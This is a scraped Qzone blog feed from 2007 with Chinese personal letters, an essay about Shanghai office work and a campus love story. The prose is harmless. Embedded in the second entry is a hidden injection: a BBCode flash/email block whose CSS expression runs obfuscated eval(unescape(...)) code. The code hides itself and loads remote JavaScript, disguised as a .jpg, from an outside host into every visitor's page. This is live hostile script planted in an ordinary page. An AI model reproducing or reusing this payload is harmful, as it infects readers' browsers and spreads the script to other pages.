Angel，其实我有这样在别人眼里不正常的事情不是现在开始的了，我记得小时候我在路过墙的时候会经常对着墙上的某一块砖傻愣，用手摸着砖头在心里对它说，你在这里被这么多砖头挤着累不累啊？不能动会不会很闷啊？然后一会对自己说.应该不会吧。你有这么同伴怎么会闷呢，天生是盖墙的料怎么会累，,然后自己傻笑。害怕被人看见说我是傻子。就在心里对砖头说句再见就跑了，除了砖之外，其他的对树啊，花啊，草啊，路上的小石头啊，一根掉在路上的枯树支啊，一块挂在草上的破布啊，一堆垃圾啊.....我都有过这样的事情，其实这样的事我现在还时常做。这并不是说我小时候很孤独寂寞啊什么的，其实我小时候有很多玩伴，反而是大了一个都找不到了，那只是我的一个习惯而已....

Angel,寒假里我看了新版电视剧《上海滩》。觉得很不错,甚至觉得比老的要好一些，我这样说大概是因为我记不起老版的是什么样子的，因为我回到学校跟同学说的时候他们都说不如老的那个版本，只有我自己说好，或者是我太善于忘记，这样算不算喜新厌旧呢？其实我根本看不出电视剧的好坏，只能觉得好看还是不好看，演员的演技啊什么的只要不是太烂我根本就看不出，因为是个演员都能欺骗我。所以我看电视电影大部分是冲剧情的，最明显在证明就是我现在看电影最喜欢看故事片，也不是从现在就开始的，因为以前我就不喜欢看科技大片，因为太假了，只能养眼而已，恐怖片对我来说更是难看，不是因为我看恐怖片没有感觉，我当然也会害怕，只是在电影里看到恐怖的鬼的时候我都会把自己想成电影的摄影师，而眼前的鬼其实是个演员，是一个人假扮的，我身边还有很多其他的像导演啊，剧务啊，跑龙套的啊这样的人，这样想会好很多。但是一这样想电影看起来就没意思了。最近我也看了几部以前没看过的很好的剧情片。比如《两小无猜》，《霸王别姬》，《阿飞正传》，《天使之城》，《罪恶都市》之类的..

Angel，其实看这些电影只是我的喜好。不是说我的品位有多么高，但是有时候真的会有很多东西很让我觉得莫名其妙的恶心，比如有首叫做《两只蝴蝶》的歌，我第一次听到这首歌的时候让我想起来小时候一次坐巴士的经历，那时候我还很小，在车上闻到车座位上皮套子的味道突然忍不住就呕吐了出来，我不知道为什么这首歌会让我想起来这件事。但是我知道他们都让我同样的感觉，就是胃里很不舒服，有想吐的感觉，我自己也很奇怪一首歌怎么会让我胃有反应。并且从那以后我发现我听到庞龙的声音就会有这样的感觉...

Angel，寒假里的时候我还看了一本诗歌集。是俄罗斯诗人叶塞宁的，我只是在一本杂志上看到了他的一首诗就有了要看看他的诗的冲动。所以在学校图书馆找到了。其实带回去看了一遍也只有几首诗会让我有感觉，其他的也没什么感触。其实我以前很反感诗歌的，特别是现代诗歌，老是觉得它们让我觉得假，并恶心，开始发现我之所以会对诗歌感到很假很恶心其实都是那些诗歌朗诵者惹的祸，因为以前听到别人念诗动不动就张着傻大嘴一口一个啊，一口一个啊的，他们那么丰富和激烈的感情和那么直接的表达很让我接受不了。很让我觉得反感,就在寒假里快过年的前一天，中央电视台还在电视上搞个什么诗歌朗诵会，我一听到那些人啊啊的，激扬地乱叫，我就怕了，并且胃也开始觉得有了吐的冲动，就立即换了台。后来发现很多诗歌还是很好的。只是那些朗诵者让我觉得恶心而已。我就不信那些写诗的人动不动就啊啊的乱叫。其实很多诗安静地看，不用那么感情丰富地缓缓地读还是别有一番味道的，我还是能接受的。

Angel，我为自己买了戒指，不是特意的，只是在商场买了东西之后顺便带的。其实那算不上是戒指，就是一个红色的指环而已。买了以后我还查了关于戴戒指的是常识，发现原来很有讲究的，食指是表示想结婚或者求婚，中指是恋爱中，请勿打扰。无名指是已经结婚或者订婚。小拇指是单身。其实我是应该把它放在小拇指的，可是买的时候是按无名指试着买的，戴小拇指实在太大，并且我戴它又不是为了要表达什么意义，只是觉得好玩而已，所以就一直把他套在无名指上，我只是在无聊的时候把它拿下来放在手上玩而已，对我来说它就这么大意义，但是我玩的时候真的很小心，怕弄丢了，因为我发现它居然成了我无聊时候最大的消遣了....

Angel，这里的雨今天停了，但是是阴天，不知道明天会不会晴，我的被子该晒了，哎......
]]> http://472991666.qzone.qq.com/blog/189#comment 512 Sat, 07 Jul 2007 07:30:16 GMT http://472991666.qzone.qq.com/blog/189 <![CDATA[离夏]]> http://472991666.qzone.qq.com/blog/178
这些地方对我最大的吸引力或许是一些人，因为那些人的缘故我反复核对自己的行程在宽大地图上留下的痕迹，走走停停，停停走走，看上去一个人是很自在。我会定时在网络上写下自己的心情，虽然很多时候那些文字看上去更象是某中发泄。随时都会有很多人给我留言，祝福或是表示不理解，那么，我也从来不回复那些东西。很多很多，压榨着我似乎脆弱的心。
会有这种时候，也许是某个午后，城市被大雨冲刷过的新生。透过巨大的落地窗，我手举着咖啡杯从里望出去，那个时候的心情是透明的，婴儿般的单纯，不可言喻的，此时我会写下最美丽的语言给所有爱我的人看。他们能够看到的清澈的，纯净的，透明的文字，我想我是爱他们的，字里行间都是，就象他们是那么爱着我。
夏天最热的时候我还待在上海，在一个网络公司里做兼职。很多时候我都没有固定的工作，写稿子给不同的杂志，文章发表了也不知道，收到稿费的时候象是从地上捡到钱一样。
这个网络公司的兼职算是暂时比较稳定的一个工作，第一次见到我的上司是在新天地的星巴克里。我其实一点都不喜欢新天地那种地方，到处都是外国人，即便是不同国度的人，说的都是英语。星巴克或许是新天地里最少外国人的地方，我通常会买一杯CAPPUCCINO，然后在那里做一下午，有时候是架着笔记本写稿子，有时候就是纯粹地发呆，或是看晴朗天空下的行色匆匆，或是看狂风暴雨下张皇失措的路人。
星巴克有全世界最好的CAPPUCCNO，全世界最浓的苦涩泡沫，等待的或许是愿意尝试的孤单路人。
我的上司，一个看上去知书达理很文气的职业女性，典型的都市百领。她主动与我攀谈，谈论不同的话题，范思哲或摩根，并且说她很喜欢杜拉斯和徐志摩的情诗。

我告诉她我在写东西，她告诉我她是个书文网站的CEO，她叫安。有时候找工作不一定要去人才市场，去咖啡馆也一样。于是我进了那个网站做编辑，写写书评或是审理别人的稿子，没有什么累的作业，却拿着不低的薪水。我看过安写的书，偶然地在出货部的柜台上。装潢精美有她自己明显的印记，我突然想起一个朋友跟我说过的一句话：“这个时代又有谁不自恋呢？”笑笑，拿了一本，拿回去解读。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]
下续 ]]> http://472991666.qzone.qq.com/blog/178#comment 512 Mon, 18 Jun 2007 05:33:44 GMT http://472991666.qzone.qq.com/blog/178 <![CDATA[离歌]]> http://472991666.qzone.qq.com/blog/177 同样让我念念不忘的是米米。在队列训练时，她总分不清左右甚至前后，老是跟我们整齐的队伍形成“鲜明的对比”，为此她也成了教官特殊照顾的人物。但是这些并不足以让我那么深切地记住她，而是她的漂亮却又不落俗套深深折服了我，后来我才知道那叫诗人气质。军训结束的那天，我就吃惊地发现自己已经爱上她了，她的影子在我心里怎么也抹不去。
如果不是后来的交往，我根本无法想到校园里名为“半支烟”的诗人就是肖潇。说实话，肖潇这样的人怎么看都不像个诗人，顶多也就一打着文学旗号骗取幼稚女青年的颓废青年。而米米就不同了，一眼就可以看出是个诗人。但是，随着我跟肖潇的交往渐深，我才发现他确实能写出一些分行的东西来，而且偶尔可以骗得女孩子的眼泪。
最初想跟肖潇交往的目的完全是为了接近米米。那一天我们排跟中文系的队伍刚好在同一块操场训练，后来两位教官一拍即合，把两支队伍合并在一起搞起了集体训练。也就是这个时候，我看到了他们，先是风度翩翩的米米进入我疲惫的眼帘，然后我的眼睛就亮了，我敢肯定米米一定是那时候进入我的生活的。但是我没有借口接近她，于是不久之后我就想到了肖潇这个笨家伙，我想通过他来间接认识米米。
那天，肖潇再一次被教官从队伍里拎出来，来来回回在烈日下练习“正步走”。他的机械化的动作夸张而又原始，结果他把教官惹恼了，教官就对他说，好吧，你站住别动，先罚站半小时。谁知道，还没熬过十分钟，矮小瘦弱的肖潇就倒在了九月的骄阳下。我们在女生的尖叫声中把他抬到了医院，也就是那一天，我让他认识了我。
军训很快就结束了，这样一来我就很少有机会再见到漂亮的米米了。于是，学生物的我就经常出没在中文系的课堂上。为此我付出了沉重的代价，后来的期末考试就连基础生物学、生物化学这样的基础课程都落到了补考甚至重修的境地，后来学到分子遗传学、微生物学、细胞生物学、基因工程、发酵工程学之类的我就完全乱了阵脚了。最让我难堪的是实验课，有一次做“青蛙解剖”的实验，我抓着解剖刀、镊子等器械根本无从下手，这情形就像中国人第一次吃西餐。后来只胡乱做了一通，把别人已经解剖过的样本拿过来，课后借同学的实验报告一抄就算了事了。而那只青蛙则被我放了生，这是唯一让我觉得心安理得的。
这样一来，我跟肖潇就成了朋友，他一见我就说，小何，他妈的，谢谢你救了我的命。
我说，没事，没事，救死扶伤是我的职责。
他说，走，你要吃什么，我请客。
我什么都不想吃，你带我去你们中文系蹭课吧。
他起初并不知道我去中文系听课甚至主动接近他的目的，也许从来都不知道。于是他就把眼睛睁得眼珠子都快要冒出来了，然后把我上下打量了一番说，你小子怎么看也不像块搞文学的料，你还是省省心吧，去把你的分子遗传学、微生物学、细胞生物学好吧。要知道这年月，搞我们这行的已经不吃香了，再说了没有这个天赋也是不能勉强的，搞这个不是种田也不是做生物实验，这个需要的是灵气。
我说，需要什么灵气？难道我就没有灵气。
他摇摇头说，没有，你虽然有点小聪明，但你缺乏灵气，真的不是我打击你。像我这样，就是有灵气。说着他就指了指自己的后脑勺，一副得意忘形的样子。
我对他的不屑很是不满，我这才知道原来他是个傲慢的家伙。起初见他很安静深沉还以为他很谦虚，现在想来倒是有点失望。但是没有办法，我得利用他，于是一次次忍气吞声地听他训话。但我一直没有机会跟米米扯上关系。
不久之后，肖潇的另一个弱点被我抓住了。
都说诗人好酒，肖潇也一样，他是个十足的酒鬼，无论什么时候都想喝上一两瓶，但是从不挑剔，无论啤酒白酒葡萄酒抓起来就喝，但我们喝的通常是啤酒。虽说他嘴上老挂着“酒”字，可他的酒量并不大，顶多两瓶啤酒就可以把他放倒在地。因此，我是不敢跟他到学校外面去喝的，我怕他喝醉了一躺在地上就不走了。
有一次，已经是深夜一点多了，他突然打电话给我说，小何，你出来喝酒。还没等我答应，电话就啪的一声挂断了。
我一路揉着朦胧睡眼打着连天的哈欠赶到侧门酒摊，酒摊上冷冷清清的，只有稀稀拉拉几个人。我老远就看见肖潇一个人坐在靠近江边的酒桌上，看上去无比忧伤却又充满诗人的深沉。这个城市什么都少，但是一到晚上类似于这样的酒摊却多得让夜晚无法宁静，大大小小的街道旁、广场甚至江滨的沙滩上全被酒摊和醉汉霸占了。于是一到夜晚，这个城市上空就充斥着各种各样的酒味、烤鱼烤鸭翅鸡肩猪肚皮的烟雾以及各路不同货色的划拳猜码的声音。
肖潇就是这样的人，他基本上每个夜晚都要来这里坐一两个小时，喝上一两支酒。有时候是一个人，有时候是我跟他。
我走过去，坐下。
他妈的，你睡着了吧。
我都睡了好一阵子了，你他妈的这么晚了还叫我出来喝酒。
他妈的，我告诉你，老子今天失恋了。
这是我头一回听见他跟我说失恋，我总以为他是个花心的人，根本不会把恋爱甚至女人这样的词句挂在嘴边。可是我错了，他也是个很固执的人，就像我一样，宁愿在一棵树上吊死也不愿“动摇”的人。
我对他说，你什么时候有过女朋友了，失的是什么恋啊。
他自己倒满一杯酒，一口气喝进了肚子。
我以为她是爱我的，可是并不是那样，她根本不爱我，她甚至都不愿正眼看我，我真难过。你知道吗？我真的很难过，难过得想死。
我就只好给他倒酒，我什么话都不知道说。
他又把酒喝完了，我再倒。后来他就真的醉了，我背起他就要往宿舍走。他死活也不肯走，他像个小孩子一样固执，他对我说，他妈的，今晚老子不回去了，你就这这陪我喝。老子难过死了，你知道吗？
那一夜，我们就像两个傻瓜一样坐在酒摊上喝酒，好像失恋的不是他一个人，而是我也跟着他失恋了。后来我们谁也没说话，只是不停地喝酒，一直到天亮。第二天，我们在宿舍里睡了一整天才缓过神来。
我再一次见到肖潇的时候，他的忧伤明显已经消退了。
他告诉我说，以后不喝酒了，这一次差点就喝死了。
我说我也是。
他又告诉我说，我这几天写了好几首诗，他妈的以后我再也不写情诗了，你看我最近写的这些都不是情诗。
我说，那好啊，拓展题材嘛。
而实际上，那个时候，他的情诗已经开始在校园里流传了，就连我们生物系的很多同学都向我打听肖潇这个人物。而这个时候我往往很自豪地告诉他们，这个人就是我的好朋友。很多时候，我甚至想帮肖潇介绍个女朋友，但我一个也看不上，我想既然连我都看不上，那么肖潇肯定是不屑的。但是这些人当中也不乏漂亮的，可是我就知道他们一定看不上肖潇。所以这样的事情我一直没有做。
突然有一天，肖潇突然问我说，你为什么老是跟我到中文系来听课啊，你是不是有什么不良企图啊，你是不是看上我们班哪位女生了啊。
我连连说不是。
你就放心好了，就凭我在中文系的知名度，搞定一个女孩子还是轻而易举的。
我说，没那么回事。
其实我很想把我喜欢米米的事情告诉他，可我老觉得现在还不是时候。一个女诗人究竟是怎样一个人呢？她一定需要一个懂得浪漫的男朋友，而这个男朋友一定要会写诗，而且写得要好。而我什么都不会，所以我一点信心也没有，我甚至觉得我跟米米根本不可能。但很多时候，我也是个固执的人，越有难度的事情我越不愿放手。
那天下午在中文系大楼里听《古代汉语》课，这样的课真是枯燥得像秋天的稻草，没过多久我就开始趴在桌子上睡起觉来。可没想到的是，这个老教授是个相当严厉的人。在我刚把头埋下的时候，他就发火了。我一骨碌把头抬起来，发现他的眼睛正盯着我，眼里像烧着一团火。我算是吓坏了，没命地把头举得高高的，没想到他会走到我面前来，指着我说，你的书呢？你不带课本怎么上课？你是哪个班的？
我说，我不是中文系的。
不是中文系的，那你怎么跑到我的课堂上来？谁叫你来的？
我支支吾吾答不上话，再不敢逗留下去，于是就灰溜溜地跑了。那是我最狼狈的一次，倒不是因为那么多人看了我的笑话，而是有米米在。我想我的光辉形象肯定败坏了，她肯定觉得我是一个无聊的人。我甚至绝望了。但是后来我依旧去中文系听课，只是每次上课我跟肖潇都躲在最后一排，在那里既可以肆无忌惮地看米米的一举一动，而且能躲过老师的眼睛。
这倒好，也就是那以后，我让米米发现了我。
也不知道为什么，我总觉得肖潇跟米米有某种不寻常的关系，但对于这层关系我又找不到合适的证据，所以我一直犹豫。很多次我都想问肖潇，可一直没有勇气，我害怕他会看穿我的心思，更让我害怕知道的是他也在喜欢着米米或者米米在喜欢着他更或者他们两情相悦，相互喜欢。
那一次，酒刚喝到兴头上，肖潇突然问我说，你是不是喜欢米米啊。我发觉你见到她有些不一样。
没有，没有！有什么不一样啊。我真怕他会看穿我，于是赶紧掐死了他的说法。
哦，那就好了。
为什么好？
也没什么。来吧，喝酒！
有一段时间，我很久都没见到肖潇，我跑去他们宿舍找他也找不到，又不好向别人打听。就是那一段时间，我跟米米有了实质性地进展。是她主动约的我。那是一个周末，我刚从实验室里出来，她就叫住了我。她大老远就问我说，小何，晚上有空吗？
我也不知道她怎么知道我的名字。于是心里一阵狂喜，连连答应说，有啊，有啊。我真的怕她突然又反悔。
那好吧，晚上我请你吃饭。
哦，那怎么怎么好意思啊，还是我请吧。
不，我请！
那好，那下次就轮到我请。我突然觉得这句话很傻。因为这样对第一次认识的女孩子说话多少有些不妥，让对方觉得你还想继续纠缠她，于是会早早对你设下防线，任凭你再怎么发动猛攻都无济于事。于是，我就后悔了。
那天晚上的对话我不想做过多的描述，因为那对于我的打击是致命的，要不是今天非要把这一段往事讲清楚，我恐怕一辈子也不愿提起那天晚上的事。
你这几天见到肖潇了吗？这是还没等我坐下来，他就开口问我的话。
当时我也没来得及多想，就告诉她说，没有。
那你知道他这几天去哪了吗？
我还是摇头。
你们不是好朋友吗？难道这么多天不见他了，你也没去找过他？
我还是摇头，我觉得那天我特失败。就像一个应聘者对考官的提问一个也答不上来。末了，她就很失望地对我说，那我们吃饭吧。
我们就开始埋头吃饭。吃完饭恰好赶上学校的舞会，我就说，咱们去跳舞吧。
米米显然对我的提议很不感兴趣，摇摇头说，还是不去了吧，我回去还有事呢。
我说，哦，那，那好吧。
我们就这样在十字路口分了手。
我现在终于可以肯定米米爱的人就是肖潇了，她那天约我只是想从我嘴里打听到肖潇的消息，而根本不是因为我。于是我觉得难过，就像肖潇对我说的，难过得想死。
从那以后，我就再也没去中文系听过课。但是在白天还是偶尔能看到肖潇和米米他们，还有一些跟我的生活毫无关联的人。他们好像生活得都很好，看上去都很快乐。肖潇对我的冷漠很是莫名其妙，他不止一次把我拉到一边问我发生了什么事情。而我一直没有勇气把事情告诉他，我总是想所有这些以后他会慢慢明白的，我现在说了也没用。
我见到米米也一样，我没有勇气走上去跟她打招呼，我也不想上去跟她打招呼，我觉得我们之间再也不会有什么事情发生了。但奇怪的是，我从没看见她跟肖潇走在一起，我也不知道他们之间究竟发生了什么，或者什么也没发生。我知道这些其实跟我已经没有任何关系。那段日子，我们正巧要做一个大的实验，我就把自己关在实验室，什么都不想。
当我再次跟肖潇出现在侧门外面的酒摊上已经是冬天最冷的时候了。南方当然是不会有雪的，但是在我的记忆里，那些日子比有雪的季节更冷，我从未经历过那么寒冷的冬天。其实肖潇也跟我一样，只是在那之前我从来没有认真听他讲过他的故事，他也从未认真讲过。
元旦那天，肖潇邀我去参加他们几个写诗的朋友举办的诗歌朗诵会，他说，米米也去，你也去散散心吧。
我说，那我就不去了，我不希望见到一些人。
连米米你都不想见吗？
我点了点头，然后把脖子缩进了高领毛衣里。我点头的时候觉得特别冷。后来，对于这样的冷天我似乎已经习惯了，我习惯了一个人走在图书馆，教室以及食堂宿舍的路上。我总是把脖子缩进衣领里去，也许别人都以为我在躲避一些东西，其实不是，其实也是。
但是那天晚上的朗诵会我还是去了，我坐在会场的最后一排，没有告诉肖潇也没有让米米知道。肖潇朗诵的诗歌很感人，几乎在场的人都被他弄哭了，我也是一样，只是我忍住了，没有让泪水流出来，我把它们吞进了肚子。就在这个时候，我不经意看到了前排的米米，但是我离她太远了，什么都看不见。我想这个时候也许她也流泪了。
出乎意料的是米米并没有上台。晚会接近尾声的时候，她就跑出去了。我透过寒冷的玻璃可以看见她娇小的身影，这个时候我就突然又觉得心痛了。我想肖潇一定会追出去的，甚至他们还会抱在一起痛哭。可是没有，我看到的是另一个男生，他长得很高大，一袭白色的运动服，头发长长的，看上去很潇洒。我想，他一定长得很帅。
然后我看见男生为米米披上了围巾，好像还在她耳边说了几句话。接着米米坐上了男生的单车后坐，很快他们就消失在夜色里了。当我把目光转回会场的时候，好像已经少了很多人，我在那些人群中努力地搜寻着肖潇的影子，可是他已经不见了。我这就知道，这个冬天其实他比我更孤独。
接下来发生的事情我想一口气把它讲完，然后再也不会提起。因为这一切，无论是对于我还是肖潇都已经结束了，就像这一年已经走到尽头了，而我却不知道该怎么去迎接一个即将到来的新年。现在，我花再多的篇幅去叙述也毫无意义，而相反，如果我一直把它放在心里念念不忘，反而会增加我们的心酸。于是，我就决定把这个故事暂时讲到这里了。 ]]> http://472991666.qzone.qq.com/blog/177#comment 8389120 Sun, 17 Jun 2007 02:48:19 GMT http://472991666.qzone.qq.com/blog/177